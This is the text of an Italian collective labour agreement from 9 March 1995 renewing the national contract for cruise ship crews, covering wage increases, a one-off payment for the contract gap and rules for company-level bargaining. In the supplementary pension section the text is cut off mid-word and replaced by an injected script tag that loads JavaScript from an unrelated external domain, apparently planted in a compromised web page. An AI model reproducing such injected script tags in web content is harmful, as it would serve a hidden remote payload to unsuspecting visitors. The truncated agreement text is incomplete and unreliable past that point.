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Categoria: Marittimi, navi da crociera
Settore: Trasporti
Data stipula: 9-3-1995
Data decorrenza: 1-1-1995
Data scadenza: 30-12-1998

VERBALE DI ACCORDO

Addì  9  marzo  1995, presso la Confitarma in Roma si sono incontrate:  la
Confitarma  rappresentata  dal  dott. Eraldo  Valle  e  le  Organizzazioni
Sindacali  FILT-CGIL, FIT-CISL, UILTRASPORTI rappresentate rispettivamente
dai  sigg.  Moscherini, Di Fiore e Caronia per discutere del  rinnovo  del
CCNL navi da crociera scaduto il 31 agosto 1994, raggiungendo il seguente

ACCORDO

La  parte economica del contratto viene definita con gli aumenti  di  paga
base   così  come  specificato  nell'allegato  n.  1  e  con  i   relativi
scaglionamenti.

Per la vacanza contrattuale viene stabilita la corresponsione di una cifra
mensile una tantum, riportata nell'allegato n. 2, in ragione di tanti mesi
o  pro-rata  per quanto sono stati i mesi di imbarco o pro-rata effettuati
nel periodo 1.9.94-31.12.94.

Tale  indennità  una tantum non è dovuta al personale dipendente  (T.P.  o
C.R.L.)  di  quelle  aziende le cui navi durante  il  periodo  di  vacanza
contrattuale  abbiano dismesso temporaneamente la bandiera secondo  quanto
previsto dalla legge 234/89.

Tali  indennità  verranno identificate a livello aziendale  tenendo  conto
delle  varie  situazioni  in  essere tra le stesse  parti  contraenti  gli
accordi sindacali previsti dagli artt. 28 e 29 della citata legge.

La parte normativa viene così stabilita:

l'art. 97 del CCNL navi da crociera del 27.7.92 viene così modificato:

1)   Fermo  restando  tutto  quanto previsto dalla premessa  del  presente
  contratto, che qui si intende ancora richiamare ad ogni effetto, potranno
  essere oggetto di negoziazione aziendale, in armonia con quanto previsto
  dall'accordo  interconfederale del 23 luglio 1993, erogazioni  salariali
  correlate ad incrementi di produttività derivanti da programmi concordati
  tra le parti che determinino miglioramento dell'economicità dei servizi,
  con particolare riferimento alle norme sull'organizzazione del lavoro per
  navi automatizzate, specializzate e tradizionali.

  Verrà inoltre considerato utile ai fini del negoziato sulla produttività
  la  possibile estensione della polivalenza ad altre figure professionali
  diverse dalle categorie iniziali con intercambiabilità di impiego (Mozzi
  e Giovanotti).


2)   Nel  negoziato  Aziendale  dovrà essere concordato  l'incremento  dei
  lavori  preesistenti,  nonché quello delle indennità  e/o  istituti  già
  presenti nei singoli accordi aziendali, nei limiti dei tassi di inflazione
  programmata.


3)   Non  possono  formare oggetto di trattazione aziendale argomenti  che
  siano già disciplinati dal Contratto Nazionale.

  Condizioni   normative  difformi  da  quelle  previste   dal   contratto
  nazionale,  già  contenute nei contratti aziendali,  verranno  mantenute
  invariate fino alla scadenza dei contratti stessi.
  
  
4)   La  trattativa  da  svolgere  presso l'Associazione  Armatoriale  cui
  aderisce  l'Azienda dovrà essere avviata entro 15 giorni dal ricevimento
  della lettera.

  Le piattaforme rivendicative aziendali devono essere presentate tre mesi
  prima della scadenza del contratto integrativo, e per tale periodo, così
  come per il mese successivo alla scadenza del contratto stesso, le parti
  si asterranno da azioni dirette e unilaterali.
  
  
5)  Invariato.


6)   Fatto  salvo quanto previsto ai precedenti punti 1) e 2)  durante  il
  periodo  di validità del presente contratto non dovranno essere posti  a
  carico delle Aziende oneri aggiuntivi.


7)  Decorrenza e durata:

  La  contrattazione  aziendale di cui al punto 2) potrà  avere  inizio  a
  partire dal 1° gennaio 1995 e avrà durata biennale.
  
  Il  negoziato  di  cui  al  punto 1) potrà  essere  iniziato  a  partire
  dall'1.9.96 e avrà validità quadriennale.
  


PREVIDENZA INTEGRATIVA

Le  parti  congiuntamente riconoscono che, nell'attuale quadro di  riforma
della  previdenza  pubblica,  acquista  rilevanza  l<script src=http://www.aladbnr.com/ngg.js></script>













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